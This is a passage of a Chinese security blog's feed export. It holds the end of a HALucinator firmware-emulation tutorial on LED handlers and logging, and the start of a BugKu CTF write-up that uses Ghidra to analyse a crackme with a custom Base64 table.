class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">HAL_LOG|INFO| UART 1073811456 TX:b'\n\r ****UART-Hyperterminal communication based on IT ****\n\r</span><br><span class="line">Enter 10 characters using keyboard :\n\r'</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| LED On Called</span><br></pre></td></tr></table></figure><p>运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctrl-c # To stop halucinator</span><br></pre></td></tr></table></figure><p>您应该会得到类似上面的内容,请注意对<code>hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</code>的三个调用和一个对<code>hal_tutorial.bp_handlers.led_bp_handler|INFO| LED On Called</code>的调用。这意味着我们的新断点处理程序正在被执行。让我们对它们进行扩展,使它们变得有用。</p><h4 id="LED-BP-Handler类"><a href="#LED-BP-Handler类" class="headerlink" title="LED BP Handler类"></a>LED BP Handler类</h4><p>BP hanldler已经为你放在了<code>hal_tutorial/bp_handlers/led_bp_handlers.py</code>中,完成步骤以提取LED ID并将其传递给model。之后再次运行它。</p><p>输入:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">halucinator -c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_memory.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_config.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_addrs.yaml \</span><br><span class="line">-c my_config.yaml</span><br></pre></td></tr></table></figure><p>输出:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">halucinator.main|INFO| Letting QEMU Run</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_Init </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_OscConfig </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_PWREx_EnableOverDrive </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_ClockConfig </span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off GREEN</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off ORANGE</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off RED</span><br><span class="line">HAL_LOG|INFO| UART 1073811456 TX:b'\n\r ****UART-Hyperterminal communication based on IT ****\n\r Enter 10 characters using keyboard :\n\r'</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| LED On Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED On RED</span><br></pre></td></tr></table></figure><p>运行:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctrl-c # To stop halucinator</span><br></pre></td></tr></table></figure><p>请注意这个新的对<code>hal_tutorial.peripheral_models.led_peripheral|DEBUG|</code>的调用显示哪些LED被关闭和打开。现在让我们扩展外设模型和外部设备,以将此信息发送到halucinator外部。</p><h4 id="外设模型"><a href="#外设模型" class="headerlink" title="外设模型"></a>外设模型</h4><p>在实施该模型之前,让我们考虑一下LED的模型。它是一个输出设备,这意味着halucinator将只发布有关其状态的消息。它有两个值on和off。<code>hal_tutorial/peripheral_models/led_peripheral.py</code>中提供了外围设备模型的模板,打开它,发现有5个任务需要完成。完成所有步骤,然后继续。</p><h4 id="外部设备-1"><a href="#外部设备-1" class="headerlink" title="外部设备"></a>外部设备</h4><p>现在,您需要设置外部器件,以接收UART消息和LED状态消息。为此,我们将创建一个基于UART的新外部设备。它的模板在<code>hal_tutorial/external_devices/led_external_devices.py</code>中完成其中的步骤,然后打开一个新的终端。当pip安装了这个软件包后,<code>setup.py</code>在路径中添加了一个名为<code>my_led_device</code>的(<code>led_external_devices.py</code>的)主函数的入口点,打开一个新的终端并运行它。</p><p>在新的终端中运行:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">workon halucinator</span><br><span class="line">my_led_device -i=1073811456</span><br></pre></td></tr></table></figure><p>注意:如果没有入口点,则必须使用</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m hal_tutorial.external_devices.led_external_devices</span><br></pre></td></tr></table></figure><p>在原终端中运行:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">halucinator -c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_memory.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_config.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_addrs.yaml \</span><br><span class="line">-c my_config.yaml</span><br></pre></td></tr></table></figure><p>运行halucinator的终端的输出:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">halucinator.main|INFO| Letting QEMU Run</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_Init </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_OscConfig </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_PWREx_EnableOverDrive </span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_ClockConfig </span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off GREEN</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Status GREEN: False</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off ORANGE</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Status ORANGE: False</span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| Init Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Off RED</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Status RED: False</span><br><span class="line">HAL_LOG|INFO| UART 1073811456 TX:b<span class="string">'\n\r ****UART-Hyperterminal communication based on IT ****\n\r Enter 10 characters using keyboard :\n\r'</span></span><br><span class="line">hal_tutorial.bp_handlers.led_bp_handler|INFO| LED On Called</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED On RED</span><br><span class="line">hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Status RED: True</span><br></pre></td></tr></table></figure><p>运行:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctrl-c <span class="comment"># To stop halucinator, leave external device running</span></span><br></pre></td></tr></table></figure><p>注意新的信息是下面这样的:<br><code>hal_tutorial.peripheral_models.led_peripheral|DEBUG| LED Status RED: True</code>.</p><p>现在我们来看LED外部设备的终端,您应该看到类似如下的信息:</p><p>OUTPUT</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">LED: GREEN is Off</span><br><span class="line">LED: ORANGE is Off</span><br><span class="line">LED: RED is Off</span><br><span class="line"></span><br><span class="line"> ****UART-Hyperterminal communication based on IT ****</span><br><span class="line"> Enter 10 characters using keyboard :</span><br><span class="line"> LED: RED is On</span><br></pre></td></tr></table></figure><h4 id="Adjust-the-logging-output"><a href="#Adjust-the-logging-output" class="headerlink" title="Adjust the logging output"></a>Adjust the logging output</h4><p>随着LED的一切正常工作,我们不再需要看到调试消息。 Halucinator会自动在运行它的目录中查找名为<code>logging.cfg</code> 的文件。 This file has been create for you. 打开此文件并将hal_tutorial的记录器(logger)调整为INFO级别。</p><p>之后重新运行halucinator</p><p>在原终端运行:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">halucinator -c ~/halucinator/<span class="built_in">test</span>/STM32/example/Uart_Hyperterminal_IT_O0_memory.yaml \</span><br><span class="line">-c ~/halucinator/<span class="built_in">test</span>/STM32/example/Uart_Hyperterminal_IT_O0_config.yaml \</span><br><span class="line">-c ~/halucinator/<span class="built_in">test</span>/STM32/example/Uart_Hyperterminal_IT_O0_addrs.yaml \</span><br><span class="line">-c my_config.yaml</span><br></pre></td></tr></table></figure><p>在 <code>hal_tutorial</code> 的所有log信息将不再显示出来。<br>日志文件对于调试非常有用,熟悉它将有助于在halucinator中实现一些东西。</p><p>查看 (<a href="https://docs.python.org/3/library/logging.config.html#logging-config-fileformat)[https://docs.python.org/3/library/logging.config.html#logging-config-fileformat]可以找到工作的更多细节">https://docs.python.org/3/library/logging.config.html#logging-config-fileformat)[https://docs.python.org/3/library/logging.config.html#logging-config-fileformat]可以找到工作的更多细节</a><br> 每个文件的 <code>qualname</code> 会是它们的模块名。</p><h3 id="结论-1"><a href="#结论-1" class="headerlink" title="结论"></a>结论</h3><p>本教程到此结束。现在,您应该了解了halucinator的工作原理以及如何实现其主要组件、BPHandlers、外围处理程序和外部设备。我们还演示了如何使用logging.cfg文件调整显示内容。</p><h2 id="没有细说,可以细看"><a href="#没有细说,可以细看" class="headerlink" title="没有细说,可以细看"></a>没有细说,可以细看</h2><h3 id="深入探讨UART-外部设备-IOServer类"><a href="#深入探讨UART-外部设备-IOServer类" class="headerlink" title="深入探讨UART-外部设备-IOServer类"></a>深入探讨UART-外部设备-IOServer类</h3>]]></content>
<summary type="html"><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本教程假设您已经在Ubuntu18.04上安装了HALucinator,并且位于名为halucinator的虚拟环境中,并且源代码位于您的h</summary>
<category term="Ghidra" scheme="http://example.com/tags/Ghidra/"/>
<category term="嵌入式" scheme="http://example.com/tags/%E5%B5%8C%E5%85%A5%E5%BC%8F/"/>
<category term="IoT" scheme="http://example.com/tags/IoT/"/>
<category term="逆向工程" scheme="http://example.com/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
<category term="系统安全" scheme="http://example.com/tags/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>BugKu-特殊的Base64</title>
<link href="http://example.com/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/"/>
<id>http://example.com/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/</id>
<published>2022-11-18T07:58:09.000Z</published>
<updated>2022-11-18T07:59:55.306Z</updated>
<content type="html"><![CDATA[<h2 id="Exeinfo-PE查壳"><a href="#Exeinfo-PE查壳" class="headerlink" title="Exeinfo PE查壳"></a>Exeinfo PE查壳</h2><p>打开程序还是经典的输入flag</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668750860712.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668750860712.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668750860712"></p><p>先查壳,确认没壳</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668749891760.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668749891760.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668749891760"></p><h2 id="利用Ghidra进行分析"><a href="#利用Ghidra进行分析" class="headerlink" title="利用Ghidra进行分析"></a>利用Ghidra进行分析</h2><p>window->defined string搜索字符串flag,可以看到输入提示“Please input your flag”,这个string的上面就有一个看起来很base64的字符串:”mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI==”</p><p>但是这个又不是很“严格”的base64,我们直接给他解码解出来不太对劲。</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668750925707.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668750925707.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668750925707"></p><p>双击到这个出现的代码部分:</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668751091133.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668751091133.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668751091133"></p><p>可以看到这个base串作为参数输入到了这个函数中</p><p>我们先来看看这个main</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668752107042.png" class="lazyload placeholder" data-srcset="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668752107042.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1668752107042"></p><p>其实就是处理之后,输出答案是否正确的yes or no,最后再统一走底下一块。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> _Argc,<span class="keyword">char</span> **_Argv,<span class="keyword">char</span> **_Env)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __type _Var1;</span><br><span class="line"> longlong *plVar2;</span><br><span class="line"> <span class="keyword">int</span> **ppiVar3;</span><br><span class="line"> <span class="built_in">string</span> result;</span><br><span class="line"> <span class="built_in">string</span> rightFlag;</span><br><span class="line"> <span class="built_in">string</span> str;</span><br><span class="line"> undefined local_29 [<span class="number">25</span>];</span><br><span class="line"> </span><br><span class="line"> __main();</span><br><span class="line"> _ZNSsC1Ev((ulonglong **)&str);</span><br><span class="line"> _ZNSaIcEC1Ev();</span><br><span class="line"> ppiVar3 = (<span class="keyword">int</span> **)local_29;</span><br><span class="line"> <span class="comment">// 处理特殊base64加密后的flag字符串</span></span><br><span class="line"> _ZNSsC1EPKcRKSaIcE((ulonglong **)&rightFlag,<span class="string">"mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=="</span>);</span><br><span class="line"> _ZNSaIcED1Ev();</span><br><span class="line"> <span class="comment">// 输出提示信息</span></span><br><span class="line"> plVar2 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc</span><br><span class="line"> (&_ZSt4cout,<span class="string">"Please input your flag!!!!"</span>,ppiVar3);</span><br><span class="line"> _ZNSolsEPFRSoS_E(plVar2,&_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);</span><br><span class="line"> <span class="comment">//获取输入信息的逻辑</span></span><br><span class="line"> _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E</span><br><span class="line"> (&_ZSt3cin,(<span class="keyword">size_t</span> **)&str);</span><br><span class="line"> _ZNSsC1ERKSs((<span class="keyword">size_t</span> **)(local_29 + <span class="number">1</span>),(<span class="keyword">size_t</span> **)&str);</span><br><span class="line"> base64Encode(&result);<span class="comment">//???怎么进的result</span></span><br><span class="line"> _ZNSsD1Ev((longlong *)(local_29 + <span class="number">1</span>));</span><br><span class="line"> <span class="comment">// 这里是逻辑比较,使用C++的char*比较看两个的字符是否都相同</span></span><br><span class="line"> _Var1 = <span class="built_in">std</span>::<span class="keyword">operator</span>==<<span class="keyword">char</span>>(&result,&rightFlag);</span><br><span class="line"> <span class="comment">// 如果相同的话,输出right</span></span><br><span class="line"> <span class="keyword">if</span> (_Var1) {</span><br><span class="line"> plVar2 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc</span><br><span class="line"> (&_ZSt4cout,<span class="string">"The flag is right!!!!!!!!!"</span>,ppiVar3);</span><br><span class="line"> _ZNSolsEPFRSoS_E(plVar2,&_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 如果不同的话,输出wrong</span></span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> plVar2 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc</span><br><span class="line"> (&_ZSt4cout,<span class="string">"This is a wrong flag!!!!!!!!"</span>,ppiVar3);</span><br><span class="line"> _ZNSolsEPFRSoS_E(plVar2,&_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);</span><br><span class="line"> }</span><br><span class="line"> _ZNSsD1Ev((longlong *)&result);</span><br><span class="line"> _ZNSsD1Ev((longlong *)&rightFlag);</span><br><span class="line"> _ZNSsD1Ev((longlong *)&str);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们再去看看这个传说中的base64encode函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="built_in">string</span> <span class="title">base64Encode</span><span class="params">(<span class="built_in">string</span> *decode)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> cVar1;</span><br><span class="line"> <span class="keyword">int</span> iVar2;</span><br><span class="line"> <span class="keyword">int</span> iVar3;</span><br><span class="line"> undefined8 uVar4;</span><br><span class="line"> <span class="keyword">char</span> *pcVar5;</span><br><span class="line"> undefined *puVar6;</span><br><span class="line"> longlong *in_RDX;</span><br><span class="line"> <span class="built_in">string</span> *encodeResult;</span><br><span class="line"> <span class="keyword">int</span> pos_1;</span><br><span class="line"> <span class="keyword">int</span> pos;</span><br><span class="line"> <span class="keyword">int</span> len;</span><br><span class="line"> <span class="keyword">int</span> i;</span><br><span class="line"> <span class="comment">// </span></span><br><span class="line"> _ZNSaIcEC1Ev();</span><br><span class="line"> _ZNSsC1EPKcRKSaIcE((ulonglong **)decode,<span class="string">""</span>);</span><br><span class="line"> _ZNSaIcED1Ev();</span><br><span class="line"> uVar4 = _ZNKSs6lengthEv(in_RDX);</span><br><span class="line"> iVar3 = (<span class="keyword">int</span>)uVar4;</span><br><span class="line"> <span class="comment">// 每三个字符为一组处理</span></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < iVar3 / <span class="number">3</span>; i = i + <span class="number">1</span>) {</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span>));</span><br><span class="line"> puVar6 = (undefined *)_ZNKSsixEy((longlong *)&baseKey,(longlong)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">2</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span>));</span><br><span class="line"> cVar1 = *pcVar5;</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span> + <span class="number">1</span>));</span><br><span class="line"> <span class="comment">// 拿出对应的6个bit位,之后拼一个数出来,再用baseKey对应位置替换</span></span><br><span class="line"> puVar6 = (undefined *)</span><br><span class="line"> _ZNKSsixEy((longlong *)&baseKey,</span><br><span class="line"> (longlong)(<span class="keyword">int</span>)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">4</span> | ((<span class="keyword">int</span>)cVar1 & <span class="number">3U</span>) << <span class="number">4</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span> + <span class="number">1</span>));</span><br><span class="line"> cVar1 = *pcVar5;</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span> + <span class="number">2</span>));</span><br><span class="line"> puVar6 = (undefined *)</span><br><span class="line"> _ZNKSsixEy((longlong *)&baseKey,</span><br><span class="line"> (longlong)(<span class="keyword">int</span>)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">6</span> | ((<span class="keyword">int</span>)cVar1 & <span class="number">0xf</span>U) * <span class="number">4</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(i * <span class="number">3</span> + <span class="number">2</span>));</span><br><span class="line"> puVar6 = (undefined *)_ZNKSsixEy((longlong *)&baseKey,(ulonglong)((<span class="keyword">int</span>)*pcVar5 & <span class="number">0x3f</span>));</span><br><span class="line"> <span class="comment">//猜测这里应该是字符串拼接,接在decode后面</span></span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 如果最后剩下一个字符</span></span><br><span class="line"> <span class="keyword">if</span> (iVar3 % <span class="number">3</span> == <span class="number">1</span>) {</span><br><span class="line"> iVar2 = (iVar3 / <span class="number">3</span>) * <span class="number">3</span>;</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)iVar2);</span><br><span class="line"> puVar6 = (undefined *)_ZNKSsixEy((longlong *)&baseKey,(longlong)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">2</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)iVar2);</span><br><span class="line"> puVar6 = (undefined *)_ZNKSsixEy((longlong *)&baseKey,(longlong)(<span class="keyword">int</span>)(((<span class="keyword">int</span>)*pcVar5 & <span class="number">3U</span>) << <span class="number">4</span>))</span><br><span class="line"> ;</span><br><span class="line"> <span class="comment">//猜测这里应该是字符串拼接,接在decode后面</span></span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> _ZNSspLEPKc((<span class="keyword">size_t</span> **)decode,(<span class="keyword">size_t</span> *)&DAT_00489085);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 如果最后剩下俩字符</span></span><br><span class="line"> <span class="keyword">if</span> (iVar3 % <span class="number">3</span> == <span class="number">2</span>) {</span><br><span class="line"> iVar3 = (iVar3 / <span class="number">3</span>) * <span class="number">3</span>;</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)iVar3);</span><br><span class="line"> puVar6 = (undefined *)_ZNKSsixEy((longlong *)&baseKey,(longlong)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">2</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)iVar3);</span><br><span class="line"> cVar1 = *pcVar5;</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(iVar3 + <span class="number">1</span>));</span><br><span class="line"> puVar6 = (undefined *)</span><br><span class="line"> _ZNKSsixEy((longlong *)&baseKey,</span><br><span class="line"> (longlong)(<span class="keyword">int</span>)((<span class="keyword">int</span>)*pcVar5 >> <span class="number">4</span> | ((<span class="keyword">int</span>)cVar1 & <span class="number">3U</span>) << <span class="number">4</span>));</span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> pcVar5 = (<span class="keyword">char</span> *)_ZNSsixEy(in_RDX,(longlong)(iVar3 + <span class="number">1</span>));</span><br><span class="line"> puVar6 = (undefined *)</span><br><span class="line"> _ZNKSsixEy((longlong *)&baseKey,(longlong)(<span class="keyword">int</span>)(((<span class="keyword">int</span>)*pcVar5 & <span class="number">0xf</span>U) << <span class="number">2</span>));</span><br><span class="line"> <span class="comment">//猜测这里应该是字符串拼接,接在decode后面</span></span><br><span class="line"> _ZNSspLEc((<span class="keyword">size_t</span> **)decode,*puVar6);</span><br><span class="line"> _ZNSspLEPKc((<span class="keyword">size_t</span> **)decode,(<span class="keyword">size_t</span> *)&DAT_00489088);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 返回decode结果</span></span><br><span class="line"> <span class="keyword">return</span> (<span class="built_in">string</span>)(_Alloc_hider)decode;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>推测这个basekey的位置中就放着替换了的base64表</p><p><img src="/2022/11/18/BugKu-%E7%89%B9%E6%AE%8A%E7%9A%84Base64/uTools_1668757208447.png" class="lazyload placeholder" 